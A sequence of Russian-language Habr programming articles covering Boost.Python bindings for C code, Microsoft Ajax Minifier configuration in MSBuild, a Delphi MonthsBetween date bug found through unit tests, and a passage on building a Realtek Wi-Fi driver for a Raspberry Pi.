printf("C get test_st: val1 - %d, val2 - %f, val3 - %c\n", test_st->val1, test_st->val2, test_st->val3);
}
return test_st;
}
// _test имя нашего модуля
BOOST_PYTHON_MODULE(_test) {
/*
* Функции библиотеки
*/
def("func_ret_int", func_ret_int);
def("func_ret_double", func_ret_double);
def("func_ret_str", &func_ret_str);
def("func_many_args", func_many_args);
// Очень важно
// manage_new_object C функция возвращает новый объект
// reference_existing_object C функция возвращает существующий объект
def("func_ret_struct", &func_ret_struct, return_value_policy());
/\*
\* Глобальные переменные библиотеки
\*/
scope().attr("a") = a;
scope().attr("b") = b;
scope().attr("c") = c;
/\*
\* Структуры
\*/
class\_("test\_st\_t")
.def\_readwrite("val1", &test\_st\_t::val1)
.def\_readwrite("val2", &test\_st\_t::val2)
.def\_readwrite("val3", &test\_st\_t::val3)
;
}
```
test.h:
```
using namespace boost::python;
using namespace std;
#ifdef __cplusplus
extern "C" {
#endif
typedef struct test_st_s test_st_t;
typedef char * char_p;
extern int a;
extern double b;
extern char c;
int func_ret_int(int val);
double func_ret_double(double val);
object func_ret_str(char *val);
char func_many_args(int val1, double val2, char val3, short val4);
test_st_t *func_ret_struct(test_st_t *test_st);
struct test_st_s {
int val1;
double val2;
char val3;
};
#ifdef __cplusplus
}
#endif
```
Как компилировать :
```
g++ -g -fPIC -I/usr/include/python3.6 -I./src/c -o ./objs/test.o -c ./src/c/test.cpp
g++ -fPIC -g -shared -o ./lib/_test.so ./objs/test.o -lboost_python3
```
Исходник компилируется в динамическую библиотеку.
**python boost** похож в использовании на **pybind11**, так же нужно описать функции которые будут видны python. Но по моим ощущения boost более громоздкий и сложный. Например:
```
def("func_ret_struct", &func_ret_struct, return_value_policy());
```
Функция **func\_ret\_struct** принимает в качестве аргумента указатель на структуру и возвращает этот же указатель назад. Для нее нужно указать правила возвращаемого объекта **return\_value\_policy()**. reference\_existing\_objec говорит, что возвращаемый объект уже существовал. Если указать manage\_new\_object, то это будет значить, что мы возвращаем новый объект. В таком случае вот такой скрипт упадет в **segmentation fault** на сборщике мусора:
```
test_st = _test.test_st_t()
ret = _test.func_ret_struct(test_st)
```
Потому что сборщик мусора сначала очистит данные которые содержит test\_st, а потом захочет очистить данные которые содержит объект ret. Который содержит те же самые данные, что содержал test\_st, но они уже были очищены.
Интересно как в таком случае описать вот такую функцию(не стал углубляться)?:
```
test_st_t *
func_ret_struct(test_st_t *test_st) {
if (test_st) {
return test_st;
} else {
return (test_st_t *) malloc(sizeof(test_st_t));
}
}
```
Такая функция может вернуть как уже существующий объект, так и существовавший.
Так же у меня возникла проблема с такой функцией:
```
char *
func_ret_str(char *val) {
return val;
}
```
Как я понял, получить из boost указатель в python на стандартный тип данных нельзя. Можно только на **struct**, **class** и **union**. Если кто знает способ просветите.
Python
------
Для python модуль становится родным.
main.py:
```
#!/usr/bin/python3
#-*- coding: utf-8 -*-
import sys
import time
# Пути до модуля test
#sys.path.append('.')
sys.path.append('lib/')
# подключаем модуль
import _test
###
## C
###
print("boost\n")
print("C\n")
start_time = time.time()
##
# Работа с функциями
##
print('Работа с функциями:')
print('ret func_ret_int: ', _test.func_ret_int(101))
print('ret func_ret_double: ', _test.func_ret_double(12.123456789))
print('ret func_ret_str: ', _test.func_ret_str('Hello!'))
print('ret func_many_args: ', _test.func_many_args(15, 18.1617, 'X', 32000))
##
# Работа с переменными
##
print('\nРабота с переменными:')
print('ret a: ', _test.a)
# Изменяем значение переменной.
_test.a = 22
print('new a: ', _test.a)
print('ret b: ', _test.b)
print('ret c: ', _test.c)
##
# Работа со структурами
##
print('\nРабота со структурами:')
# Создаем структуру и заполняем её
test_st = _test.test_st_t()
test_st.val1 = 5
test_st.val2 = 5.1234567
test_st.val3 = 'Z'
print('val1 = {}\nval2 = {}\nval3 = {}'.format(test_st.val1, test_st.val2, test_st.val3))
ret = _test.func_ret_struct(test_st)
# Полученные данные из C
print('ret val1 = {}\nret val2 = {}\nret val3 = {}'.format(ret.val1, ret.val2, ret.val3))
# Время работы
print("--- {} seconds ---".format(time.time() - start_time))
```
### Плюсы и минусы boost
**Плюсы**:
* простой синтаксис при использовании в Python
**Минусы**:
* необходимо править C++ исходники, или писать обвязку для них
* boost сам по себе не простой
Код как обычно стараюсь комментировать понятно.
Среднее время выполнения теста на каждом способе при 1000 запусках:
-------------------------------------------------------------------
* ctypes: — 0.0004987692832946777 seconds ---
* CFFI: — 0.00038521790504455566 seconds ---
* pybind: — 0.0004547207355499268 seconds ---
* C API: — 0.0003561973571777344 seconds ---
* boost: — 0.00037789344787597656 seconds ---
Ссылки
------
* [Исходные коды примеров](https://github.com/dvjdjvu/c_from_python)
* Способ через [**ctypes**](https://habr.com/ru/post/466499/)
* Способ через [**CFFI, pybind11**](https://habr.com/ru/post/468099/)
* Способ через [**C API**](https://habr.com/ru/post/469043/)
* [Python из C](https://habr.com/ru/post/466181/) | https://habr.com/ru/post/471618/ | null | ru | null |
# Минимизация Javascript кода и CSS с помощью Microsoft Ajax Minifier
Скачивание объёмных ресурсов, связанных с веб-страницей, таких как JavaScript файлы и CSS, влияет не только на скорость загрузки страницы, но и увеличивает трафик, проходящий от сервера к клиентскому браузеру. Последнее обстоятельство особенно важно в подключениях с ограниченным тарифом или при размещении сайта на хостинге с заранее оговоренным объёмом исходящих данных.
Один из способов борьбы с лишними байтами – сжатие данных на сервере и передача gzip'ированного потока браузеру, который уже распаковывает его во время отрисовки страницы. Обсуждение данного способа не входит в данную статью. Я бы хотел рассказать о способе уменьшения данных с помощью удаления всех незначащих символов из сопутствующих веб-странице файлов: JavaScript и CSS – минимизации.
При написании клиентских функций и стилей сайта программист/дизайнер использует отбивку строк пробелами или табами для улучшения читабельности текста и простоты сопровождения. Удобнее отловить ошибку, возникшую в середине 100-а строчного файла, когда код структурирован и отформатирован привычным для данного языка способом. Правила CSS и функции JavaScript будут работать точно так же, разместим мы их все в одну строку или, поместив каждое правило на отдельной строке.
Данные изыски читабельности являются просто лишними, когда сайт выходит на просторы Интернета. С другой стороны, при наличии нескольких файлов, требующих минимизации, процесс трансформации удобочитабельных файлов в минимизированный формат — дело не из лёгких и требует автоматизации.
16-го февраля 2010-го Microsoft выпустили четвёртую версию своей утилиты под названием Microsoft Ajax Minifier, задача которой упростить и автоматизировать трансформацию читабельных файлов JavaScript и CSS – в минимизированный формат. Эта утилита может применяться как из командной строки или из собственной программы на языке .NET (не входит в данную статью), так и с помощью системы MSBuild при разработке в Microsoft Visual Studio (я работаю с VS 2008).
После установки пакета Microsoft Ajax Minifier появляется возможность добавить задачу для MSBuild'а в проекты, созданные на основе встроенных веб-проектов, например ASP.NET Web Application. Сайты, добавленные в студию как Web site – не подходят, так как не обладают .proj файлом, в котором устанавливаются задачи MSBuild'а.
1. Выбрать пункт **Unload Project** в контекстном меню проекта сайта.
2. В контекстном меню уже отгруженного проекта выбрать **Edit *project name***; Visual Studio отобразит файл **\*.proj** для редактирования.
3. Прописать следующий код внутри тега :
> `1. <Import Project="$(MSBuildExtensionsPath)\Microsoft\MicrosoftAjax\ajaxmin.tasks"/>
> 2. <Target Name="AfterBuild">
> 3. <ItemGroup>
> 4. <JS Include="\*\*\\*.js" Exclude="\*\*\\*.min.js;Scripts\\*.js"/>
> 5. ItemGroup>
> 6. <ItemGroup>
> 7. <CSS Include="\*\*\\*.css" Exclude="\*\*\\*.min.css"/>
> 8. ItemGroup>
> 9. <AjaxMin
> 10. JsSourceFiles="@(JS)" JsSourceExtensionPattern="\.js$" JsTargetExtension=".min.js"
> 11. CssSourceFiles="@(CSS)" CssSourceExtensionPattern="\.css$" CssTargetExtension=".min.css"/>
> 12. Target>\* This source code was highlighted with Source Code Highlighter.`
4. Пункт контекстного меню данного проекта **Reload Project** – возвратит сайт в лоно Visual Studio и, теперь, можно сделать Build (или Rebuild) для проверки работоспособности.
5. Важно заставить студию отображать файлы, не включённые в проект (меню **Project, Show All Files**).
6. Также важно нажать на **Refresh** после компиляции проекта, иначе студия не покажет минимизированные файлы, добавленные задачей MSBuild'а.
7. Если нигде не закралась ошибка – минимизированные файлы будут отображены в файловой структуре проекта как не принадлежащие данному проекту. Выбор включать ли их проект – за вами. Поскольку я просто копирую файлы с компьютера разработчика на FTP – сгенерированные файлы у меня в проект не включены.
Для тех, кто не знаком с языком MSBuild'а – краткое пояснение п. 3:
1. Для включения новых задач, установленных вместе с Microsoft Ajax Minifier
> `<Import Project="$(MSBuildExtensionsPath)\Microsoft\MicrosoftAjax\ajaxmin.tasks"/>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
2. Объявление задания, запускаемого после успешного компилирования проекта
> `<Target Name="AfterBuild">
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
3. Декларирование групп файлов, над которыми мы хотим произвести трансформацию – минимизировав их. Теги и – название групп файлов. Эти названия определяются вами, можно написать или , или, даже, . В данном случае мы хотим минимизировать все файлы с окончанием .js и .css в проекте, кроме тех которые заканчиваются на .min.js или .min.css, или находятся в папке Scripts.
> `1. <ItemGroup>
> 2. <JS Include="\*\*\\*.js" Exclude="\*\*\\*.min.js;Scripts\\*.js"/>
> 3. ItemGroup>
> 4. <ItemGroup>
> 5. <CSS Include="\*\*\\*.css" Exclude="\*\*\\*.min.css"/>
> 6. ItemGroup>\* This source code was highlighted with Source Code Highlighter.`
4. Запускаем задание на минимизацию. Группы JavaScript и CSS файлов для минимизации обозначается именами, указанными в предыдущих строках ( и ). Файлы, подлежащие минимизации, и расширение для ново-утрамбованных файлов указанны в атрибутах **JsSourceExtensionPattern**, **CssSourceExtensionPattern** и **JsTargetExtension**, **CssTargetExtension**, соответственно.
> `<AjaxMin JsSourceFiles="@(JS)" JsSourceExtensionPattern="\.js$" JsTargetExtension=".min.js" CssSourceFiles="@(CSS)" CssSourceExtensionPattern="\.css$" CssTargetExtension=".min.css"/>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Задача имеет ряд дополнительных параметров:
1. > `JsCollapseToLiteral="true|false"
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Переводит **new Object()** в **{}**, **new Array()** в **[]**.
2. > `JsCombineDuplicateLiterals="true|false"
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Подставляет локальную переменную вместо повторяющихся строковых или цифровых значений в коде.
3. > `JsEvalTreatment="MakeAllSafe|Ignore|MakeImmediateSafe"
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Указывает, возможно, ли применить методику переименования функций и локальных переменных в коде, использующем **eval**. Следует избегать данной установки, когда природа кода в eval не ясна или может измениться.
4. > `JsIndentSize="*number*"
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Когда **JsOutputMode=«MultipleLines»**, указывает количество пробелов для отбивки вложенных конструкций.
5. > `JsInlineSafeStrings="true|false"
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
6. > `JsLocalRenaming="CrunchAll|KeepAll|KeepLocalizationVars"
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Степень применения методики переименования локальных переменных и функций. Когда **JsLocalRenaming=«KeepLocalizationVars»**, переменные, начинающиеся с **L\_**, не будут переименованы.
7. > `JsMacSafariQuirks="true|false"
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Поддержка требований движка JavaScript в Safari под Mac.
8. > `JsOutputMode="SingleLine|MultipleLines"
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Позволяет минимизировать код, сохраняя некую читабельность, хотя все остальные методики минимизации (переименование локальных переменных, например) – будут всё равно применены.
9. > `JsRemoveFunctionExpressionNames="true|false"
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
10. > `JsRemoveUnneededCode="true|false"
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Убирает код, который не участвует в процессе выполнения программы (**unreachable code**).
11. > `JsStripDebugStatements="true|false"
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Изымает обращение к: **debugger**, **$Debug**, **Debug**, **Web.Debug** или **Msn.Debug**, **WAssert**.
12. > `CssColorNames="Strict|Hex|Major"
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Указывает на возможность подстановки имени цвета вместо RGB кода, если данное имя короче (**CssColorNames=«Strict»**).
13. > `CssCommentMode="None|All|Hacks"
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Указывает на возможность минимизации за счёт CSS комментариев. **CssCommentMode=«Hacks»**, например, оставит в коде только условно комментированные CSS-хаки.
14. > `CssExpandOutput="true|false"
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Позволяет минимизировать код, сохраняя некую читабельность, когда код будет представлен в несколько строк, вместо одной.
15. > `CssSeverity="*number*"
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Указывает, какие неточности CSS будут выведены как ошибки.
16. > `CssTermSemicolons="true|false"
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Управляет расстановкой точки с запятой после правил CSS.
Следует иметь в виду, что компилирование такого проекта — с задачами Microsoft Ajax Minifier — требует установки данной утилиты на **все** машины, участвующие в процессе компиляции.
Ссылки:
1. Сайт Microsoft Ajax Minifier: <http://aspnet.codeplex.com/releases/view/40584>
2. Учимся пользоваться Microsoft Ajax Minifier: <http://www.asp.net/ajaxlibrary/AjaxMinQuickStart.ashx>
3. Параметры задачи MSBuild'а для Microsoft Ajax Minifier: <http://www.asp.net/ajaxLibrary/AjaxMinTask.ashx>
В продолжение темы хочу написать статью об использовании следующего поколения клиентских библиотек от Microsoft — Microsoft Ajax Library, в связке с обычными и минимизированными файлами JavaScript, в зависимости от конфигурации. | https://habr.com/ru/post/86067/ | null | ru | null |
# Много тестов не бывает
Некоторое время назад я принял решение потихоньку внедрять в свою практику автоматизированное тестирование и TDD. Признаюсь честно, получалось все это с переменным успехом. Но то, что жить стало гораздо интереснее – это неоспоримый факт. Со мной стали происходить разные приключения. И, как во всех приключениях, иногда становилось немного страшно. Об одном таком случае я и хочу рассказать.
В проекте, в котором я принимал участие, потребовалась плотная работа с временными интервалами от минуты до года. Плох (или наоборот слишком хорош) программист, не написавший в своей жизни ни одну библиотеку работы с датами. Я не хуже и не лучше других, поэтому решил размять мозги и создать немного кода.
#### С чего все началось
Проект был на Delphi. Решив придерживаться ООП, я написал абстрактный класс `TTimeIterator`, от которого порождались остальные классы для передвижения с шагом минута, час, день, месяц, год. Идея этих итераторов в том, что получив начальную и конечную точку, они выравнивают их по корректным границам интервалов и позволяют перемещаться четко попадая в нужные моменты времени. Привожу объявление абстрактного класса, без купюр, как он был реализован в проекте.
```
TTimeIterator=class(TObject)
private
StartPoint, FinishPoint:TDateTime;
CurrentPoint:TDateTime;
CurrentPointNumber:integer;
function DTRound(p:TDateTime):TDateTime; virtual; abstract;
function DTNext(p:TDateTime):TDateTime; virtual; abstract;
function DTPrev(p:TDateTime):TDateTime; virtual; abstract;
public
constructor Create;overload;
function Dump:string;
function GetTotalPoints:integer; virtual; abstract;
function GetCurrentPointNumber:integer;
function GetCurrentPoint:TDateTime;
procedure MoveNextPoint;
function IsCurrentPoint:boolean;
procedure SetStartPoint(DateTime:TDateTime;
IncludeMode:TTimeIncludeModeType=INCLUDE_MODE);
procedure SetFinishPoint(DateTime:TDateTime;
IncludeMode:TTimeIncludeModeType=INCLUDE_MODE);
end;
```
Далее речь пойдет о реализации функции
```
function GetTotalPoints:integer; virtual; abstract;
```
Эта функция после установления начальной и конечной точки позволяет получить общее количество точек, через которые пройдет итератор. Для классической парадигмы итератора она не требуется, но для некоторых операций в проекте такая функция была бы очень полезна.
Как знает всякий, кто работал с датами, интервалы минута, час, день и даже неделя не доставляют особых хлопот. Проблемы начинаются с месяцев. Задача заключалась в том, чтобы реализовать функцию `GetTotalPoints` в месячном итераторе.
#### Странная функция MonthsBetween
Без лишних раздумий я нашел в стандартной библиотеке функцию с названием и аргументами, не оставляющими никаких сомнений.
```
function MonthsBetween(const ANow, AThen: TDateTime): Integer;
```
Не очень сложные тесты прошли на ура. Какое-то смутное чувство меня заставило написать тесты посложнее. Один из этих тестов поломался, причем на ровном месте.
После небольшого расследования увидел, что по мнению функции `MonthsBetween` между `01.01.2012 0:00` и `01.05.2012 0:00` не четыре месяца (январь, февраль, март, апрель), а всего лишь 3. Меня это заинтересовало. Как говорится в известной пословице: если ничего не получается, прочитайте документацию. Я открыл Help и с ужасом прочитал:
> *Call MonthsBetween to obtain the difference, in months, between two TDateTime values. Because months are not all the same length, MonthsBetween returns an approximation based on an assumption of 30.4375 days per month.*
Вот так! Функция работает приблизительно, принимая среднюю длину месяца за 30.4375 дней.
#### Несколько слов в оправдание фирмы Borland
После того, как первый шок прошел, я пораскинул мозгами. Действительно, реализация функции странная. Но логика в этом есть. И в Help на эту логику есть прямые указания. Проблема в том, что при задании некоторых временных точек однозначно определить сколько месяцев между ними прошло трудно. И результат зависит от взгляда на проблему. Что принимать за целый месяц? Сколько целых месяцев прошло между 28 февраля и 31 марта? А между 28 февраля и 28 марта? Почва очень скользкая.
#### Почему я считаю, что фирма Borland не совсем права
Во-первых, даже если мы не можем корректно определить значение функции для всех точек, то для точек, которые попадают точно в границы месяцев требуемый результат очевиден. И в этих точках функция должна возвращать не противоречащее житейской логике значение.
Второе возражение чисто практического свойства – я не смог придумать ни одного случая, когда функция в том виде, в котором ее сделала фирма Borland, могла бы пригодится. Она не подходит даже для статистики, которая, как известно, любит оперировать средними значениями.
#### Почему мне стало страшно
Я испугался не из-за фирмы Borland, которая написала столь странно работающую функцию. Тем более, что правильная реализация занимает несколько строк кода.
Я испугался не из-за собственного легкомыслия, когда я включил в код вызов функции толком не прочитав документации.
Я испугался потому, что в большом количестве случаев эта функция возвращает правильные значения, а если возвращает неправильное, оно отличается всего лишь на единицу. Я примерно оценил, как бы выглядело воздействие этой ошибки на систему в целом. Это бы означало, что иногда мы бы получали данные в отчете за предыдущий месяц вместо текущего (а отчеты за различные месяцы и так похожи друг на друга как близнецы).
Я представил, как эта ошибка ловко проходит через забор модульных тестов. Затем преодолевает интеграционное тестирование. Без особого труда преодолевает ручное тестирование и приемо-сдаточные испытания. И система функционирует десятки лет в реальном мире, время от времени выдавая фальшивые данные.
**С точки зрения теории надежности мы бы получили плавающий, трудно диагностируемый дефект непонятного происхождения. Сколько таких дефектов присутствует в системах, обеспечивающих нашу безопасность и жизнедеятельность? Я не знаю. Мне просто ПОВЕЗЛО что я обнаружил этот дефект.**
Меня немного утешили следующие мысли:
Во-первых: без тестирования я бы точно не обнаружил такого рода ошибку.
Во-вторых: мне вспомнились слова одного из наших политиков. Его спросили: “Правда ли, что России повезло с ценами на нефть”. Он ответил: “Везет дуракам, а мы работаем с утра до вечера”.
#### Чем все закончилось
Я написал верную, с точки зрения моих требований, функцию,
```
function DeviceTimeExactMonthsBetween(StartDate, EndDate: TDateTime):integer;
const
BASE_YEAR=1990;
var
y1,y2,m1,m2,d1,d2 : word;
StartMonths, EndMonths:integer;
begin
DecodeDate(StartDate,y1,m1,d1);
DecodeDate(EndDate,y2,m2,d2);
StartMonths:=(y1-BASE_YEAR)*12+m1;
EndMonths:=(y2-BASE_YEAR)*12+m2;
Result:=EndMonths-StartMonths;
if d2
```
а в Unit-тесты наряду с другими добавил следующий код:
```
CheckNotEquals(
// Headfire function
DeviceTimeExactMonthsBetween(
StrToDateTime('01.01.2012'),
StrToDateTime('01.05.2012')),
// BorlandFunction
MonthsBetween(
StrToDateTime('01.01.2012'),
StrToDateTime('01.05.2012')),
//Test name
'Month BorladFailureTest'
);
```
Хотя фирма Borland уже не существует, кто знает, вдруг функция MonthsBetween когда-нибудь заработает более правильно.
#### Насколько же мне повезло?
Уже сейчас, когда я решил оформить этот случай в виде статьи, я задался вопросом, а насколько действительно мне повезло обнаружить ошибку. За десяток минут набросал небольшую визуализацию. Ниже привожу текст (кстати, из него видно, как итераторы по датам используются на практике).
```
procedure TMainForm.DrawFaults(BeginDate,EndDate:TDateTime);
var IteratorForBegin,IteratorForEnd:TTimeIterator;
x,y,diff:Integer;
color:TColor;
begin
IteratorForBegin:=CreateDeviceTimeIterator(MONTH_INTERVAL);
IteratorForEnd:=CreateDeviceTimeIterator(MONTH_INTERVAL);
IteratorForBegin.SetStartPoint(BeginDate , INCLUDE_MODE);
IteratorForBegin.SetFinishPoint(EndDate, INCLUDE_MODE);
while (IteratorForBegin.IsCurrentPoint) do
begin
IteratorForEnd.SetStartPoint(IteratorForBegin.GetCurrentPoint, INCLUDE_MODE);
IteratorForEnd.SetFinishPoint(EndDate, INCLUDE_MODE);
while (IteratorForEnd.IsCurrentPoint) do
begin
diff:=DeviceTimeExactMonthsBetween(IteratorForBegin.GetCurrentPoint,IteratorForEnd.GetCurrentPoint)
- MonthsBetween(IteratorForBegin.GetCurrentPoint,IteratorForEnd.GetCurrentPoint);
color:=clBlack; // режим паранойи, если точка черная - значит где-то жуткая ошибка
if diff=0 then color:=clGreen;
if diff=1 then color:=clRed;
y:=IteratorForBegin.GetCurrentPointNumber;
x:=y+IteratorForEnd.GetCurrentPointNumber;
Canvas.Brush.Color:=color;
Canvas.Ellipse(10+x*12,10+y*12,20+x*12,20+y*12);
//для больших интервалов
// Canvas.Pixels[10+x,10+y]:=color;
IteratorForEnd.MoveNextPoint;
end;
IteratorForBegin.MoveNextPoint;
end;
end;
```
Вот картинка отражающая работу функции `MonthsBetween` в пределах 2012 года (когда я писал проект). Зеленые соответствуют случаям, когда `MonthsBetween` выдает правильный результат, красным, когда на единицу меньше.
Ситуация не очень хорошая, тем более, что я писал проект во второй половине года. (При тестировании я стараюсь использовать даты как можно ближе к текущей). Большая вероятность что тесты пройдут.
Вот визуализация работы функции в двадцатилетнем диапазоне (2010-2020 годы)
Мы видим, что количество ошибок возрастает и становится примерно 50 на 50. Таким образом, при включении в тесты длинных интервалов вероятность обнаружить ошибку повышается. Что собственно и случилось. Когда я не поленился и взял интервал побольше ошибка вскрылась.
#### Заключение
Да, конечно. Разумом я понимаю, что для любого проекта существует оптимальное количество тестов и величина тестового покрытия. Это зависит от назначения программы, используемых технологий, отрасли и требований к надежности.
Но когда я смотрю, как стоит на старте ракета-носитель, готовая отправится в космос. Как подлодка, несущая ядерное оружие, задраивает люки и готовится к погружению, уходя в полугодовой поход. Когда я смотрю, как на соседней улице строится новый торговый центр, расчеты на прочность которого проводились на современных кластерах. Когда я это вижу, я всей душой желаю, чтобы тестов было как можно больше, хороших и разных.
 | https://habr.com/ru/post/191164/ | null | ru | null |
# Дружим RaspberryPi с TP-Link TL-WN727N
Привет, Хабр!
Задумал как-то я подключить свою малинку к интернету по воздуху.
Сказано-сделано, для этого был приобретен в ближайшем магазине usb wi-fi свисток небезызвестной фирмы TP-Link. Сразу скажу, что это не какой-то там нано usb модуль, а вполне себе габаритный девайс размером примерно с обычную флешку(ну или если вам будет угодно с указательный палец взрослого мужчины). Перед покупкой я немного изучил список поддерживаемых производителей свистков для RPI и TP-Link в списке был(правда как потом оказалось я не учел тонкостей, ведь дьявол как известно кроется в деталях). Итак, хладный сказ о моих злоключениях начинается, вашему вниманию предлагается детективная история в 3-х частях. Заинтересованных прошу под кат.
Статья [Подключаем WiFi-адаптер WN727N к Ubuntu/Mint](https://habr.com/ru/post/449848/) мне частично помогла, но обо всем по порядку.
#### Условия задачи
Дано:
1. одноплатный компьютер Raspberry Pi 2 B v1.1 — 1 штука
2. usb wi-fi свисток WN727N — 1 штука
3. пара не совсем кривых рук — 2 штуки
4. в качестве ос установлен последний Raspbian (на основе debian 10 Buster)
5. ядро версии 4.19.73-v7+
Найти: осуществить подключение к интернету(вайфай раздается от домашнего роутера)
После распаковки адаптера читаю инструкцию внутри:
> System Compatibility: Windows 10/8/7/XP (даже небо, даже ХР) and MacOS 10.9-10.13
Мда, о линуксах как обычно ни слова. Шел 2к19, а драйвера было нужно все еще собирать вручную…
> У нас было с собой 2 компилятора, 75 тысяч библиотек, пять бинарных блобов, полмассива голых баб с логотипом и целое море хедеров всех языков и разметок. Не то, чтобы это был необходимый набор для работы. Но если начал собирать систему под себя, становится трудно остановиться. Единственное, что вызывало у меня опасения — это драйвера под wi-fi. Нет ничего более беспомощного, безответственного и испорченного, чем сборка драйверов из исходников. Но я знал, что рано или поздно мы перейдем и на эту дрянь.
Вообще как известно возня с usb wi-fi на линуксе это *больно и несколько невкусно* (как русские суши).
В коробке лежит еще CD-диск с драйверами. Без особой надежды смотрю что на нем есть — точно, не позаботились. Поиск в интернете вывел меня на сайт производителя, но там есть линукс драйвер только для ревизии устройства **v4**, а у меня на руках была **v5.21**. И к тому же под очень старые версии ядра 2.6-3.16. Обескураженый неудачей уже в самом начале я уж подумал, что надо было брать TL-WN727N (он чуток подороже и умеет в 300Mbps против 150 у моего, но это как оказалось для малинки вообще значения не имеет, об этом будет написано далее). Но и самое главное драйвера под него уже есть и ставятся просто пакетом *firmware-ralink*. Посмотреть ревизию устройства обычно можно на корпусе устройства на наклейке рядом с серийным номером.
Дальнейшее гугление и посещение разных форумов особо ничего хорошего не принесло. Видимо никто до меня такой именно адаптер подключать на линукс не пробовал. Мда, везет мне как утопленнику.
Хотя нет, вру, посещение форумов(в основном англоязычных) тоже дало свои плоды, в некоторых топиках мелькало упоминание некого господина lwfinger, который славится тем, что написал некоторое количество драйверов для вайфай адаптеров. Его гит репозиторий в конце статьи в ссылках. И второй урок какой я усвоил — нужно идентифицировать свое устройство, чтобы понять какой драйвер для него может подойти.
#### Часть 1. Идентификация ~~Борна~~
При включении устройства в порт никакой светодиод конечно не загорелся. И вообще никаким образом не понятно работает что-то или нет.
Первым делом для выяснения видит ли ядро наш девайс заглядываю в dmesg:
```
[ 965.606998] usb 1-1.3: new high-speed USB device number 9 using dwc_otg
[ 965.738195] usb 1-1.3: New USB device found, idVendor=2357, idProduct=0111, bcdDevice= 0.00
[ 965.738219] usb 1-1.3: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[ 965.738231] usb 1-1.3: Product: 802.11n NIC
[ 965.738243] usb 1-1.3: Manufacturer: Realtek
[ 965.738255] usb 1-1.3: SerialNumber: 00E04C0001
```
Оказалось видит, и даже понятно что там чип Realtek и сам VID/PID устройства на шине usb.
Идем дальше, смотрим *lsusb*, и тут нас поджидает очередная неудача
```
Bus 001 Device 008: ID 2357:0111
Bus 001 Device 003: ID 0424:ec00 Standard Microsystems Corp. SMSC9512/9514 Fast Ethernet Adapter
Bus 001 Device 002: ID 0424:9514 Standard Microsystems Corp. SMC9514 Hub
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
```
Система не знает что это за девайс, и стыдливо показывает пустое место вместо имени(хотя vendor=2357 это точно TP-Link).
На этом этапе пытливый читатель наверно уже заметил кое-что занимательное, но мы отложим это до своего времени.
Исследование проблемы пустых имен вывело меня на сайт с идентификаторами, куда заносится информация по известным VID/PID. Нашего 2357:0111 там не оказалось. Как выяснилось позднее, утилита *lsusb* использует файл */usr/share/misc/usb.ids*, который является тем же списком идентификаторов с этого сайта. Для красоты отображения я просто добавил у себя в системе в него строки для вендора TP-Link.
```
2357 TP-Link
0111 TL-WN727N v5.21
```
Ну отображение в списке устройств то мы поправили, а к выбору драйвера это нас особо не приблизило ни на шаг. Для выбора драйвера нужно знать на каком чипе сделан ваш свисток. Очередные безуспешные попытки узнать это в интернете ни к чему хорошему не привели. Вооружившись тонкой шлицевой отверткой аккуратно поддеваю крышечку адаптера и моему взору предстает во всей своей первозданной наготе порочное детище дяди Ляо. Под лупой можно рассмотреть наименование чипа — **RTL8188EUS**. Это уже хорошо. На каких-то форумах я видел посты, что под этот чип хорошо подходит как раз драйвер того самого господина lwfinger(даже несмотря на то что у него написано только про RTL8188EU).
#### Часть 2. Превосходство Борна
Качаю исходники драйвера из гита.
Настало время ~~переустановить шиндоус~~ заняться тем, с чем обычно связывают линуксоидов — сборкой чего-то из сорцов. Сборка драйверов как оказалось мало отличается от компиляции программ:
```
make
sudo make install
```
но для компиляции модулей ядра нам нужны заголовочные файлы ядра для нашей конкретной версии.
В стоковом репозитории есть пакет *raspberrypi-kernel-headers*, но он содержит версию файлов для ядра *4.19.66-v7l+*, и это нам не подходит. Но для получения заголовков нужной версии как выяснилось есть удобная тулза *rpi-source* (ссылка в конце на гитхабе), с помощью которой можно скачать нужные заголовки. Клонируем репозиторий, делаем скрипт исполняемым, запускаем. Первый запуск валится с ошибкой — нет утилиты *bc*. К счастью она есть в репозитории и мы ее просто устанавливаем.
```
sudo apt-get install bc
```
После этого повторный запуск и скачивание заголовков(и потом настройка чего-то, сейчас уже не помню) занимает некоторое время и можно откинуться на спинку стула ~~виндоус стала лучше во всех ее проявлениях~~.
После того как все заголовки скачались, проверяем что появился каталог */lib/modules/4.19.73-v7+* и в нем симлинк указывает на то место, где лежат скачаные файлы(у меня это /home/pi/linux):
```
pi@raspberrypi:/home/pi/rtl8188eu# ls -l /lib/modules/4.19.73-v7+/
lrwxrwxrwx 1 root root 14 Sep 24 22:44 build -> /home/pi/linux
```
Подготовительный этап пройден, можно приступать к сборке. Сборка модулей занимает опять определенное время, малинка зверь не быстрый(камень у нее 32bit 900Mhz Cortex ARM v7).
Итак, все скомпилировалось. Инсталлируем драйвер 2м шагом (make install), при этом же происходит копирование еще файлов firmware, необходимых для работы драйвера:
```
install:
install -p -m 644 8188eu.ko $(MODDESTDIR)
@if [ -a /lib/modules/$(KVER)/kernel/drivers/staging/rtl8188eu/r8188eu.ko ] ; then modprobe -r r8188eu; fi;
@echo "blacklist r8188eu" > /etc/modprobe.d/50-8188eu.conf
cp rtl8188eufw.bin /lib/firmware/.
/sbin/depmod -a ${KVER}
mkdir -p /lib/firmware/rtlwifi
cp rtl8188eufw.bin /lib/firmware/rtlwifi/.
```
#### Часть 3. Ультиматум Борна
Втыкаю свисток в порт и… ничего не происходит. Это что все было впустую?
